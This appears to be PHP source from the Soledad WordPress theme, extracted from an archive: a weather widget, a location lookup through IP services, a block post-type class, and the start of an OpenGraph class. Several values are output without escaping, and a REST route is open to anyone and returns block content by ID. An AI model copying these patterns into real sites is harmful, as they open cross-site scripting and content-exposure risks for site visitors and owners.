				$icons = array(
					// day
					'01d' => 'wi-day-sunny',
					'02d' => 'wi-day-cloudy-high',
					'03d' => 'wi-cloudy',
					'04d' => 'wi-cloudy',
					'09d' => 'wi-day-showers',
					'10d' => 'wi-day-rain',
					'11d' => 'wi-day-thunderstorm',
					'13d' => 'wi-day-showers',
					'50d' => 'wi-day-cloudy-high',

					//night
					'01n' => 'wi-night-clear',
					'02n' => 'wi-night-alt-cloudy',
					'03n' => 'wi-night-alt-cloudy-high',
					'04n' => 'wi-night-cloudy',
					'09n' => 'wi-night-showers',
					'10n' => 'wi-night-rain',
					'11n' => 'wi-night-thunderstorm',
					'13n' => 'wi-night-snow-wind',
					'50n' => 'wi-night-alt-cloudy',
				);

				$weather_data['today_icon'] = 'wi-day-sunny';
				if ( isset( $icons[ $api_response['weather'][0]['icon'] ] ) ) {
					$weather_data['today_icon'] = $icons[ $api_response['weather'][0]['icon'] ];
				}
			}
		}

		return $weather_data;
	}

	public static function get_forecast_data( $atts, $weather_data ) {
		$http = is_ssl() ? 'https://' : 'http://';

		$type = isset( $atts['type'] ) && $atts['type'] ? $atts['type'] : 'forecast';

		$forecast_ping     = $http . "api.openweathermap.org/data/2.5/" . $type . "?q=" . urlencode( $atts['location'] ) . "&lang=" . $atts['locale'] . "&units=" . $atts['units'] . "&APPID=" . self::get_appid();
		$forecast_ping_get = wp_remote_get( $forecast_ping );

		if ( is_wp_error( $forecast_ping_get ) ) {
			return $forecast_ping_get->get_error_message();
		}

		$forecast_data = json_decode( $forecast_ping_get['body'], true );

		if ( isset( $forecast_data['cod'] ) && ( $forecast_data['cod'] == 404 || $forecast_data['cod'] == 401 ) ) {
			return array();
		} else {
			$weather_data['forecast'] = $forecast_data;
		}

		return $weather_data;
	}

	public static function available_locales() {
		return array(
			'ar',
			'bg',
			'ca',
			'cz',
			'de',
			'el',
			'en',
			'fa',
			'fi',
			'fr',
			'gl',
			'hr',
			'hu',
			'it',
			'ja',
			'kr',
			'la',
			'lt',
			'mk',
			'nl',
			'pl',
			'pt',
			'ro',
			'ru',
			'se',
			'sk',
			'sl',
			'es',
			'tr',
			'ua',
			'vi',
			'zh_cn',
			'zh_tw'
		);
	}

	public static function mess_error( $msg = false ) {
		$msg = $msg ? $msg : esc_html__( 'No weather information available', 'soledad' );

		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		return "<div class='penci-weather-error'>" . $msg . "</div>";
	}

	/**
	 * convert celsius to fahrenheit + rounding (no decimals if result > 100 or one decimal if result < 100)
	 *
	 * @param $celsius_degrees
	 *
	 * @return float
	 */
	private static function convert_c_to_f( $celsius_degrees ) {
		$f_degrees = $celsius_degrees * 9 / 5 + 32;

		$rounded_val = round( $f_degrees, 1 );
		if ( $rounded_val > 99.9 ) {
			return round( $f_degrees );
		}

		return $rounded_val;
	}

	/**
	 * Convert kmph to mph
	 *
	 * @param $kmph
	 *
	 * @return float
	 */
	private static function convert_kmph_to_mph( $kmph ) {
		return round( $kmph * 0.621371192, 1 );
	}

	public static function get_location_show( $atts, $weather_data ) {
		$api_location = '';
		if ( isset( $atts['location_show'] ) && $atts['location_show'] ) {
			$api_location = $atts['location_show'];
		} elseif ( isset( $weather_data['api_location'] ) ) {
			$api_location = $weather_data['api_location'];
		}

		return $api_location;
	}

	public static function get_top_bar_template( $atts ) {
		$weather_data = self::weather_data( $atts );

		if ( empty( $weather_data ) ) {
			return;
		}

		$api_location = self::get_location_show( $atts, $weather_data );

		$current_unit = isset( $weather_data['current_unit'] ) ? $weather_data['current_unit'] : '';
		$today_temp   = isset( $weather_data['today_temp'][ $current_unit ] ) ? $weather_data['today_temp'][ $current_unit ] : '';
		$temp_label   = isset( $weather_data['temp_label'] ) ? $weather_data['temp_label'] : '';
		$today_icon   = isset( $weather_data['today_icon'] ) ? $weather_data['today_icon'] : '';

		if ( '' === $today_temp ) {
			return;
		}

		?>
        <div class="topbar-item topbar-weather">
            <i class="penci-weather-icons wi <?php echo $today_icon; ?>"></i>
            <div class="penci-weather-now">
                <span class="penci-weather-degrees"><?php echo( $today_temp == '-0' ? 0 : $today_temp ); ?></span>
                <span class="penci-weather-unit"><?php echo $temp_label; ?></span>
            </div>
            <div class="penci-weather-location">
                <div class="penci-weather-city"><?php echo $api_location; ?></div>
            </div>
        </div>
		<?php
	}

	public static function weather_icon( $icon ) {

		// Sunny
		if ( $icon == '01d' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-sun"></div>
					</div>
				';
		} // Moon
        elseif ( $icon == '01n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-moon"></div>
					</div>
				';
		} // Cloudy Sunny
        elseif ( $icon == '02d' || $icon == '03d' || $icon == '04d' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-cloud"></div>
						<div class="icon-cloud-behind"></div>
						<div class="icon-sun-animi"></div>
					</div>
				';
		} // Cloudy Night
        elseif ( $icon == '02n' || $icon == '03n' || $icon == '04n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-cloud"></div>
						<div class="icon-cloud-behind"></div>
						<div class="icon-moon-animi"></div>
					</div>
				';
		} // Showers
        elseif ( $icon == '09d' || $icon == '09n' ) {
			$weather_icon = '
					<div class="weather-icon drizzle-icons showers-icons">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-rainy-animi"></div>
							<div class="icon-rainy-animi-2"></div>
							<div class="icon-rainy-animi-4"></div>
							<div class="icon-rainy-animi-5"></div>
						</div>
					</div>
				';
		} // Rainy Sunny
        elseif ( $icon == '10d' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-rainy-animi"></div>
							<div class="icon-rainy-animi-2"></div>
							<div class="icon-rainy-animi-4"></div>
							<div class="icon-rainy-animi-5"></div>
						</div>
						<div class="icon-sun-animi"></div>
					</div>
				';
		} // Rainy Night
        elseif ( $icon == '10n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-rainy-animi"></div>
							<div class="icon-rainy-animi-2"></div>
							<div class="icon-rainy-animi-4"></div>
							<div class="icon-rainy-animi-5"></div>
						</div>
						<div class="icon-moon-animi"></div>
					</div>
				';
		} // Thunder
        elseif ( $icon == '11d' || $icon == '11n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-thunder-animi"></div>
						</div>
					</div>
				';
		} // Snowing
        elseif ( $icon == '13d' || $icon == '13n' ) {
			$weather_icon = '
					<div class="weather-icon weather-snowing">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-windysnow-animi"></div>
							<div class="icon-windysnow-animi-2"></div>
						</div>
					</div>
				';
		} // Mist
        elseif ( $icon == '50d' || $icon == '50n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-mist"></div>
						<div class="icon-mist-animi"></div>
					</div>
				';
		} /// Default icon | Cloudy
		else {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-cloud"></div>
						<div class="icon-cloud-behind"></div>
					</div>
				';
		}

		return apply_filters( 'soledad_weather_icon', $weather_icon, $icon );
	}


	public static function show_forecats( $atts ) {

		if ( ( isset($atts['cookie'] ) && $atts['cookie'] ) && $atts['user_loc'] && isset( $_COOKIE['PenciUserCity'] ) && $_COOKIE['PenciUserCity'] ) {
			$atts['location'] = $_COOKIE['PenciUserCity'];
		}


		$weather_data = self::weather_data( array(
			'w_type'        => 'forecast',
			'locale'        => 'en',
			'location'      => $atts['location'],
			'forecast_days' => $atts['forecast_days'],
			'units'         => $atts['units']
		) );

		$forecast      = isset( $weather_data['forecast'] ) && is_array( $weather_data['forecast'] ) ? $weather_data['forecast'] : array();
		$forecast_list = isset( $forecast['list'] ) && is_array( $weather_data['forecast'] ) ? $forecast['list'] : array();

		if ( ! $forecast_list ) {
			$weather_transient_name = 'penci_' . sanitize_title( $atts['location'] ) . strtolower( $atts['units'] ) . '_' . ( isset( $atts['locale'] ) && $atts['locale'] ? $atts['locale'] : 'en' );
			delete_transient( $weather_transient_name );

			return;
		}

		$current_unit = $weather_data['current_unit'];
		$days_to_show = (int) $atts['forecast_days'];
		$dt_today     = date( 'Ymd', current_time( 'timestamp', 0 ) );

		if ( function_exists( 'penci_get_tran_setting' ) ) {
			$days_of_week = array(
				penci_get_tran_setting( 'penci_weather_sun_text' ),
				penci_get_tran_setting( 'penci_weather_mon_text' ),
				penci_get_tran_setting( 'penci_weather_tue_text' ),
				penci_get_tran_setting( 'penci_weather_wed_text' ),
				penci_get_tran_setting( 'penci_weather_thu_text' ),
				penci_get_tran_setting( 'penci_weather_fri_text' ),
				penci_get_tran_setting( 'penci_weather_sat_text' ),
			);
		} else {
			$days_of_week = array(
				__( 'Sun', 'soledad' ),
				__( 'Mon', 'soledad' ),
				__( 'Tue', 'soledad' ),
				__( 'Wed', 'soledad' ),
				__( 'Thu', 'soledad' ),
				__( 'Fri', 'soledad' ),
				__( 'Sat', 'soledad' )
			);
		}


		$wind_speed       = isset( $weather_data['today_wind_speed'][ $current_unit ] ) ? $weather_data['today_wind_speed'][ $current_unit ] : '';
		$wind_speed_text  = isset( $weather_data['speed_label'] ) ? $weather_data['speed_label'] : '';
		$today_high       = isset( $weather_data['today_max'][ $current_unit ] ) ? round( $weather_data['today_max'][ $current_unit ] ) : '';
		$today_low        = isset( $weather_data['today_min'][ $current_unit ] ) ? round( $weather_data['today_min'][ $current_unit ] ) : '';
		$today_temp       = isset( $weather_data['today_temp'][ $current_unit ] ) ? round( $weather_data['today_temp'][ $current_unit ] ) : '';
		$today_temp_label = isset( $weather_data['temp_label'] ) ? $weather_data['temp_label'] : '';
		$today_clouds     = isset( $weather_data['today_clouds'] ) ? $weather_data['today_clouds'] . '%' : '';

		$units_display_symbol = '&deg;';

		$nonce = wp_create_nonce( 'penci-weather' );

		$output = '<div class="penci-weather-widget" data-id="' . $nonce . '" data-forecast_days="' . $atts['forecast_days'] . '" data-units="' . $atts['units'] . '">';

		if ( $atts['user_loc'] ) {
			$output .= '<span aria-label="' . esc_attr__( 'Click to get current location weather', 'soledad' ) . '" class="penci-wuser-gps"><svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 19.5C16.1421 19.5 19.5 16.1421 19.5 12C19.5 7.85786 16.1421 4.5 12 4.5C7.85786 4.5 4.5 7.85786 4.5 12C4.5 16.1421 7.85786 19.5 12 19.5Z" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 15C13.6569 15 15 13.6569 15 12C15 10.3431 13.6569 9 12 9C10.3431 9 9 10.3431 9 12C9 13.6569 10.3431 15 12 15Z" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 4V2" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M4 12H2" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 20V22" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M20 12H22" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg></span>';
		}

		$api_location = self::get_location_show( $atts, $weather_data );


		if ( $api_location ) {
			$output .= '<div class="penci-weather-header">';
			$output .= '<div class="penci-weather-city">' . $api_location . '</div>';

			if ( isset( $weather_data['today_icon_text'] ) ) {
				$output .= '<div class="penci-weather-condition">' . $weather_data['today_icon_text'] . '</div>';
			}
			$output .= '</div>';
		}

		$output .= '<div class="penci-weather-information">';


		if ( isset( $weather_data['today_humidity'] ) ) {
			$output .= '<div class="penci-weather-section penci_humidty"><i class="wi wi-humidity"></i>' . $weather_data['today_humidity'] . '%</div>';
		}
		if ( $wind_speed && $wind_speed_text ) {
			$output .= '<div class="penci-weather-section penci_wind"><i class="wi wi-windy"></i>' . $wind_speed . $wind_speed_text . '</div>';
		}

		if ( $today_clouds ) {
			$output .= '<div class="penci-weather-section penci_clouds">' . penci_icon_by_ver( 'fas fa-cloud' ) . $today_clouds . '</div>';
		}


		$output .= '</div>';


		$output .= '<div class="penci-weather-degrees-wrap">';

		$today_icon = array_values( $weather_data['forecast']['list'][0]['weather'][0] );

		if ( isset( $today_icon[3] ) ) {
			$output .= '<div class="penci-weather-animated-icon is-animated">' . self::weather_icon( $today_icon[3] ) . '</div>';
		}

		$output .= '<div class="penci-weather-now">';
		$output .= '<span class="penci-big-degrees">' . $today_temp . '</span>';
		$output .= '<span class="penci-circle">' . $units_display_symbol . '</span>';
		$output .= '<span class="penci-weather-unit">' . $today_temp_label . '</span>';
		$output .= '</div>';

		$output .= '<div class="penci-weather-lo-hi">';
		$output .= '<div class="penci-weather-lo-hi__content">';
		$output .= penci_icon_by_ver( 'fas fa-angle-double-up' );
		$output .= '<span class="penci-small-degrees penci-w-high-temp">' . $today_high . '</span>';
		$output .= '<span class="penci-circle">' . $units_display_symbol . '</span>';
		$output .= '</div>';
		$output .= '<div class="penci-weather-lo-hi__content">';
		$output .= penci_icon_by_ver( 'fas fa-angle-double-down' );
		$output .= '<span class="penci-small-degrees penci-w-low-temp">' . $today_low . '</span>';
		$output .= '<span class="penci-circle">' . $units_display_symbol . '</span>';
		$output .= '</div>';
		$output .= '</div>';
		$output .= '</div>';


		$output .= "<div class=\"penci-weather-week penci_days_{$days_to_show} \">";
		$day    = 1;

		$term_arr = array();
		if ( $forecast_list ) {
			foreach ( (array) $forecast_list as $forecast ) {
				$forecast_dt        = isset( $forecast['dt'] ) ? $forecast['dt'] : '';
				$forecast_main_temp = isset( $forecast['main']['temp'] ) ? (int) $forecast['main']['temp'] : '';

				$forecast_icon = array_values( $forecast['weather'][0] );
				$forecast_icon = $forecast_icon[3];


				if ( empty( $forecast_dt ) || empty( $forecast_main_temp ) ) {
					continue;
				}

				$current_day = date( 'j', $forecast_dt );

				if ( ! in_array( $current_day, $term_arr ) ) {
					$term_arr[] = $current_day;
				} else {
					continue;
				}

				$day_of_week = isset( $days_of_week[ date( 'w', $forecast_dt ) ] ) ? $days_of_week[ date( 'w', $forecast_dt ) ] : date_i18n( 'D', $forecast_dt );

				$output .= "
						<div class='penci-weather-days is-animated'>
							" . self::weather_icon( $forecast_icon ) . "
							<div class='penci-day-degrees'><span class='penci-degrees'>{$forecast_main_temp}</span><span class='circle'>{$units_display_symbol}</span></div>
							<div class='penci-day'>{$day_of_week}</div>
						</div>";

				if ( $day == $days_to_show ) {
					break;
				}

				$day ++;

			}
		}

		$output .= '</div>';

		$output .= '</div>';

		return $output;
	}
}

if ( ! function_exists( 'penci_get_user_location' ) ) {
	function penci_get_user_location() {
		$city = '';
		$ip   = file_get_contents( 'https://api.ipify.org' );

		if ( $ip !== false ) {

			$request = wp_remote_get( 'http://ip-api.com/json/' . $ip );

			if ( ! is_wp_error( $request ) ) {

				$request = wp_remote_retrieve_body( $request );
				$request = json_decode( $request, true );

				if ( $request && ! empty( $request['status'] ) && $request['status'] == 'success' ) {
					$city = $request['city'];
					setcookie( 'PenciUserCity', $city, time() + ( DAY_IN_SECONDS * 30 ), "/" );
				}
			}
		}

		return $city;
	}
}

if ( ! function_exists( 'penci_get_weather_loc' ) ) {
	add_action( 'wp_ajax_nopriv_penci_get_weather_loc', 'penci_get_weather_loc' );
	add_action( 'wp_ajax_penci_get_weather_loc', 'penci_get_weather_loc' );
	function penci_get_weather_loc() {

		check_ajax_referer( 'penci-weather', 'id' );

		$forecast_days = $_REQUEST['forecast_days'];
		$units         = $_REQUEST['units'];

		$city = penci_get_user_location();

		if ( empty( $city ) ) {
			wp_send_json_error( [ 'message' => esc_html__( 'Failed to fetch your current loction! try again later!', 'soledad' ) ] );
		}

		$weather_data = '';

		if ( ! empty( $city ) ) {

			$weather_data = \Penci_Weather::show_forecats( array(
				'location'      => $city,
				'forecast_days' => $forecast_days,
				'units'         => $units,
				'user_loc'      => true,
			) );
		}


		wp_send_json_success( [ 'html' => $weather_data ] );

	}
}PK     N\DxR&  &    inc/block.phpnu [        <?php
// Exit if accessed directly
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}


/**
 * Main class for Penci Block
 *
 * @author soledad ( http://soledad.com/ )
 * @since 1.0
 */
if ( ! class_exists( 'Penci_Block' ) ):

	class Penci_Block {

		/**
		 * A reference to an instance of this class.
		 */
		private static $instance;


		/**
		 * Returns an instance of this class.
		 */
		public static function get_instance() {

			if ( null == self::$instance ) {
				self::$instance = new Penci_Block();
			}

			return self::$instance;

		}

		/**
		 * Initializes the plugin by setting filters and administration functions.
		 */
		private function __construct() {

			// Register Blocks Post Type
			add_action( 'init', array( $this, 'register_blocks_post_type' ) );

			// Register Blocks Category
			add_action( 'init', array( $this, 'register_blocks_category' ) );

			// Add Custom Columns to Editor
			add_filter( 'manage_edit-penci-block_columns', array( $this, 'edit_penci_blocks_columns' ) );
			add_action( 'manage_penci-block_posts_custom_column', array(
				$this,
				'manage_penci_blocks_columns'
			), 10, 2 );

			// Register Elementor Support
			add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
			add_action( 'init', array( $this, 'add_elementor_support' ) );

			// Register WPBakery Suppot
			add_action( 'init', array( $this, 'add_wpbakery_support' ) );

			// Register Content Block Shortcode
			add_shortcode( 'block_content', array( $this, 'get_block_content_shortcode' ) );

			// Ajax Mega Content
			add_action( 'wp_ajax_penci_get_ajax_menu_mega_content', [ $this, 'get_ajax_menu_mega_content' ] );
			add_action( 'wp_ajax_nopriv_penci_get_ajax_menu_mega_content', [ $this, 'get_ajax_menu_mega_content' ] );

			// Rest API
			add_action( 'rest_api_init', [ $this, 'register_routes' ] );
		}

		/**
		 * Register Blocks Post Type
		 */
		public function register_blocks_post_type() {
			$show_menu = get_theme_mod( 'penci_hide_pcblocks' ) ? false : true;
			$labels    = array(
				'name'               => _x( 'Penci Block', 'post type general name', 'soledad' ),
				'singular_name'      => _x( 'Block', 'post type singular name', 'soledad' ),
				'add_new'            => __( 'Add New', 'soledad' ),
				'add_new_item'       => __( 'Add New Block', 'soledad' ),
				'edit_item'          => __( 'Edit Block', 'soledad' ),
				'new_item'           => __( 'New Block', 'soledad' ),
				'all_items'          => __( 'All Blocks', 'soledad' ),
				'view_item'          => __( 'View Block', 'soledad' ),
				'search_items'       => __( 'Search Block', 'soledad' ),
				'not_found'          => __( 'No block found', 'soledad' ),
				'not_found_in_trash' => __( 'No blocks found in Trash', 'soledad' ),
				'parent_item_colon'  => '',
				'menu_name'          => _x( 'Penci Blocks', 'post type general name', 'soledad' ),
			);

			$args = array(
				'labels'             => $labels,
				'public'             => true,
				'publicly_queryable' => true,
				'show_ui'            => $show_menu,
				'show_in_nav_menus'  => $show_menu,
				'show_in_menu'       => $show_menu,
				'query_var'          => 'penci-block',
				'capability_type'    => 'page',
				'menu_icon'          => 'dashicons-schedule',
				'has_archive'        => false,
				'hierarchical'       => false,
				'menu_position'      => null,
				'show_in_rest'       => true,
				'supports'           => array( 'title', 'editor', 'custom-fields' )
			);

			register_post_type( 'penci-block', $args );
		}

		/**
		 * Register Blocks Categories
		 */
		public function register_blocks_category() {
			$labels = array(
				'name'              => _x( 'Block Categories', 'taxonomy general name', 'soledad' ),
				'singular_name'     => _x( 'Block Category', 'taxonomy singular name', 'soledad' ),
				'search_items'      => __( 'Search Block Categories', 'soledad' ),
				'all_items'         => __( 'All Block Categories', 'soledad' ),
				'parent_item'       => __( 'Parent Block Category', 'soledad' ),
				'parent_item_colon' => __( 'Parent Block Category:', 'soledad' ),
				'edit_item'         => __( 'Edit Block Category', 'soledad' ),
				'update_item'       => __( 'Update Block Category', 'soledad' ),
				'add_new_item'      => __( 'Add New Block Category', 'soledad' ),
				'new_item_name'     => __( 'New Block Category Name', 'soledad' ),
				'menu_name'         => __( 'Block Categories', 'soledad' )
			);

			$args = array(
				'hierarchical'      => true,
				'labels'            => $labels,
				'show_ui'           => true,
				'show_admin_column' => true,
				'query_var'         => true,
				'rewrite'           => array( 'slug' => 'penci_block_category' )
			);

			register_taxonomy( 'penci_block_category', array( 'penci-block' ), $args );
		}

		public function edit_penci_blocks_columns( $columns ) {
			unset( $columns['taxonomy-penci_block_category'] );

			$new_columns = array(
				'shortcode'        => esc_html__( 'Shortcode', 'soledad' ),
				'penci_categories' => esc_html__( 'Block Categories', 'soledad' ),
				'date'             => esc_html__( 'Date', 'soledad' ),
			);

			$columns = $columns + $new_columns;

			return $columns;
		}


		public function manage_penci_blocks_columns( $column, $post_id ) {
			switch ( $column ) {
				case 'shortcode':
					echo '<strong>[block_content id="' . $post_id . '"]</strong>';
					break;
				case 'penci_categories':
					$terms = wp_get_post_terms( $post_id, 'penci_block_category' );
					$post_type = get_post_type( $post_id );
					$keys = array_keys( $terms );
					$last_key = end( $keys );

					if ( ! $terms ) {
						echo '—';
					}

					?>
					<?php foreach ( $terms as $key => $term ) : ?>
					<?php
					$name = $term->name;

					if ( $key !== $last_key ) {
						$name .= ',';
					}

					?>

                    <a href="<?php echo esc_url( 'edit.php?post_type=' . $post_type . '&penci_block_category=' . $term->slug ); ?>">
						<?php echo esc_html( $name ); ?>
                    </a>
				<?php endforeach; ?>
					<?php
					break;
			}
		}

		public function add_elementor_support() {
			$cpt_support = get_option( 'elementor_cpt_support' );
			if ( ! $cpt_support ) {
				$cpt_support = [ 'page', 'post', 'penci-block' ];
				update_option( 'elementor_cpt_support', $cpt_support );
			} else if ( ! in_array( 'penci-block', $cpt_support ) ) {
				$cpt_support[] = 'penci-block';
				update_option( 'elementor_cpt_support', $cpt_support );
			}
		}

		public function add_wpbakery_support() {
			if ( function_exists( 'vc_set_default_editor_post_types' ) ) {
				vc_set_default_editor_post_types( array( 'page', 'post', 'penci-block' ) );
			}
		}

		public function get_block_content( $id ) {
			$id      = apply_filters( 'wpml_object_id', $id, 'penci-block', true );
			$post    = get_post( $id );
			$content = '';
			if ( ! $post || $post->post_type != 'penci-block' ) {
				return false;
			}

			if ( $id && did_action( 'elementor/loaded' ) && Plugin::$instance->documents->get( $id )->is_built_with_elementor() ) {

				$content = penci_get_elementor_content( $id );

			} else {
				$content .= do_shortcode( $post->post_content );

				$shortcodes_custom_css = get_post_meta( $id, '_wpb_shortcodes_custom_css', true );

				$content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$content .= $shortcodes_custom_css;
				}
				$content .= '</style>';
			}

			return $content;
		}

		public function get_block_content_shortcode( $atts, $content ) {
			extract( shortcode_atts( array(
				'id' => '',
			), $atts ) );

			if ( $id ) {
				return $this->get_block_content( $id );
			} else {
				return false;
			}
		}

		public function get_ajax_menu_mega_content() {

			check_ajax_referer( 'penci_megamenu', 'nonce' );

			$response = array(
				'status'  => 'error',
				'message' => 'Can\'t load HTML blocks with AJAX',
				'data'    => array(),
			);

			if ( class_exists( 'WPBMap' ) ) {
				WPBMap::addAllMappedShortcodes();
			}

			if ( isset( $_POST['ids'] ) ) {
				$id                  = (int) $_POST['ids'];
				$content             = $this->get_block_content( $id );
				$response['status']  = 'success';
				$response['message'] = 'At least one HTML block loaded';
				$response['data']    = $content;
			}

			wp_send_json_success( $response, 200 );

			wp_die();
		}

		public function enqueue_scripts() {

			if ( class_exists( '\Elementor\Plugin' ) ) {
				$elementor = \Elementor\Plugin::instance();
				$elementor->frontend->enqueue_styles();
			}

			if ( penci_can_render_footer() ) {
				$footer_id = penci_footer_builder_content_id();
				$css_file  = '';
				if ( class_exists( '\Elementor\Core\Files\CSS\Post' ) ) {
					$css_file = new \Elementor\Core\Files\CSS\Post( $footer_id );
				}
				if ( $css_file ) {
					$css_file->enqueue();
				}
			}
		}

		public function register_routes() {
			register_rest_route( 'penci/v1', '/get_menu_data', [
				'methods'             => 'POST',
				'callback'            => [ $this, 'get_menu_data' ],
				'permission_callback' => '__return_true',
			] );
		}

		public function get_menu_data( WP_REST_Request $request ) {
			$response = array(
				'status'  => 'error',
				'message' => 'Can\'t load HTML blocks with AJAX',
				'data'    => array(),
			);

			if ( class_exists( 'WPBMap' ) ) {
				WPBMap::addAllMappedShortcodes();
			}

			$request_id = $request->get_param( 'ids' );

			if ( $request_id ) {
				$id                  = (int) $request_id;
				$content             = $this->get_block_content( $id );
				$response['status']  = 'success';
				$response['message'] = 'At least one HTML block loaded';
				$response['data']    = $content;
			}

			return new WP_REST_Response( ['data' => $response], 200 );
		}
	}

	add_action( 'after_setup_theme', array( 'Penci_Block', 'get_instance' ) );

endif; /* End check if class exists */
PK     N\$Qa  Qa    inc/opengraph.phpnu [        <?php

class Penci_Soledad_OpenGraph {
	private $debug = false;
	private $locale = null;

	private $schema_org_mapping = array(
		'name'          => array( 'og', 'title' ),
		'headline'      => array( 'og', 'blogdescription' ),
		'description'   => array( 'og', 'description' ),
		'datePublished' => array( 'article', 'published_time' ),
		'dateModified'  => array( 'article', 'modified_time' ),
		'author'        => array( 'profile', 'username' ),
	);

	private $is_schema_org_enabled = true;
	private $image_size = 'full';
	private $og = array();


	public function __construct() {

		if ( get_theme_mod( 'penci_disable_og_tag' ) ) {
			return;
		}

		if ( function_exists( 'aioseo' ) || defined( 'THE_SEO_FRAMEWORK_VERSION' ) || class_exists( 'app\SimpleSEO' ) || class_exists( 'RankMath' ) || defined( 'SLIM_SEO_DIR' ) || defined( 'SQ_VERSION' ) || defined( 'WPSEO_FILE' ) || defined( 'WPMETASEO_PLUGIN_URL' ) ) {
			return;
		}

		$this->debug      = apply_filters( 'pcogtg_debug', defined( 'WP_DEBUG' ) && WP_DEBUG );
		$this->image_size = apply_filters( 'pcogtg_image_size', get_theme_mod( 'penci_og_tag_image_size', 'full' ) );

		add_action( 'wp_head', array( $this, 'wp_head' ), 0 );
		add_filter( 'language_attributes', array( $this, 'filter_add_html_itemscope_itemtype' ), 10, 2 );
	}

	private function strip_white_chars( $content ) {
		if ( $content ) {
			$content = wp_strip_all_tags( $content );
			$content = preg_replace( '/\s+/', ' ', $content );
			$content = trim( $content );
		}

		return $content;
	}

	public function wp_head() {
		if ( is_404() ) {
			return;
		}

		echo PHP_EOL;
		printf( __( '<!-- Soledad OG: %s -->', 'og' ), PENCI_SOLEDAD_VERSION );
		if ( $this->debug ) {
			echo PHP_EOL;
		}
		do_action( 'iworks_pcogtg_before' );

		$og = $this->get_pcogtg_array();

		$this->echo_array( $og );
		do_action( 'iworks_pcogtg_after', $og );
		echo PHP_EOL;
		echo '<!-- /Soledad OG -->';
		echo PHP_EOL;
		echo PHP_EOL;

		remove_filter( 'orphan_skip_replacement', '__return_true' );
	}

	private function get_pcogtg_array() {
		if ( ! empty( $this->og ) ) {
			return $this->og;
		}
		$og = array(
			'og'      => array(
				'image'       => apply_filters( 'pcogtg_image_init', array() ),
				'video'       => apply_filters( 'pcogtg_video_init', array() ),
				'description' => '',
				'type'        => 'website',
				'locale'      => $this->get_locale(),
				'site_name'   => get_bloginfo( 'name' ),
				'logo'        => $this->get_site_logo(),
			),
			'article' => array(
				'tag' => array(),
			),
			'twitter' => array(
				'partner' => 'ogwp',
				'site'    => apply_filters( 'pcogtg_twitter_site', '' ),
				'creator' => apply_filters( 'pcogtg_twitter_creator', '' ),
				'widgets' => apply_filters( 'pcogtg_twitter_widgets', array() ),
				'player'  => apply_filters( 'pcogtg_video_init', array() ),
			),
			'schema'  => array(),
		);

		remove_action( 'wp_head', 'fpp_head_action' );

		add_filter( 'orphan_skip_replacement', '__return_true' );

		if ( is_singular() ) {
			global $post, $yarpp;

			$og['og']['type'] = 'article';

			$cache     = false;
			$cache_key = $this->get_transient_key( $post->ID );
			if ( ! $this->debug ) {
				$cache = get_transient( $cache_key );
			}
			if ( false === $cache ) {
				$src = false;

				if (

					apply_filters( 'pcogtg_allow_to_use_thumbnail', true )
					&& empty( $src )
					&& function_exists( 'has_post_thumbnail' )
				) {
					if ( has_post_thumbnail( $post->ID ) ) {
						$post_thumbnail_id = get_post_thumbnail_id( $post->ID );
						$thumbnail_src     = wp_get_attachment_image_src( $post_thumbnail_id, $this->image_size );

						if ( false !== $thumbnail_src ) {
							$src = esc_url( $thumbnail_src[0] );

							array_unshift( $og['og']['image'], $this->get_image_dimensions( $thumbnail_src, $post_thumbnail_id ) );
						}
					}
				}
				/**
				 * attachment image page
				 */
				if ( is_attachment() ) {
					if ( wp_attachment_is_image( $post->ID ) ) {
						$post_thumbnail_id   = $post->ID;
						$thumbnail_src       = wp_get_attachment_image_src( $post_thumbnail_id, $this->image_size );
						$og['og']['image'][] = $this->get_image_dimensions( $thumbnail_src, $post_thumbnail_id );
						$src                 = esc_url( wp_get_attachment_url( $post->ID ) );
					} elseif ( wp_attachment_is( 'video', $post->ID ) ) {
						$og['og']['type']   = 'video';
						$src                = esc_url( wp_get_attachment_url( $post->ID ) );
						$og['video']['url'] = $src;
						if ( is_ssl() ) {
							$og['video']['secure_url'] = $src;
						}
						$meta = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
						if ( isset( $meta['mime_type'] ) ) {
							$og['video']['type'] = $meta['mime_type'];
						}
						if ( isset( $meta['width'] ) ) {
							$og['video']['width'] = $meta['width'];
						}
						if ( isset( $meta['height'] ) ) {
							$og['video']['height'] = $meta['height'];
						}
					} elseif ( wp_attachment_is( 'audio', $post->ID ) ) {
						$og['og']['type']   = 'audio';
						$src                = esc_url( wp_get_attachment_url( $post->ID ) );
						$og['audio']['url'] = $src;
						if ( is_ssl() ) {
							$og['audio']['secure_url'] = $src;
						}
						$meta = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
						if ( isset( $meta['mime_type'] ) ) {
